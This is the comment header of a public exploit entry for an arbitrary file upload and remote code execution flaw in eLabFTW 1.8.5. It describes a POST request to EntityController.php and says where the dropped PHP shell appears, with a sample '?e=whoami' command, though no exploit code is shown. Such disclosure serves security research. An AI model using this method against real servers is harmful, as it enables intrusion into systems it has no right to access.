# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE
# Date : 5/18/19
# Exploit Author : liquidsky (JMcPeters)
# Vulnerable Software : eLabFTW 1.8.5
# Vendor Homepage : https://www.elabftw.net/
# Version : 1.8.5
# Software Link : https://github.com/elabftw/elabftw
# Tested On : Linux / PHP Version 7.0.33 / Default installation (Softaculous)
# Author Site : http://incidentsecurity.com | https://github.com/fuzzlove
#
# Greetz : wetw0rk, offsec ^^
#
# Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads via the /app/controllers/EntityController.php component.
# This may result in remote command execution. An attacker can use a user account to fully compromise the system using a POST request.
# This will allow for PHP files to be written to the web root, and for code to execute on the remote server.
#
# Notes: Once this is done a php shell will drop at https://[targetsite]/[elabftw directory]/uploads/[random 2 alphanum]/[random long alphanumeric].php5?e=whoami
# You will have to visit the uploads directory on the site to see what the name is. However there is no protection against directory listing.
# So this can be done by an attacker remotely.
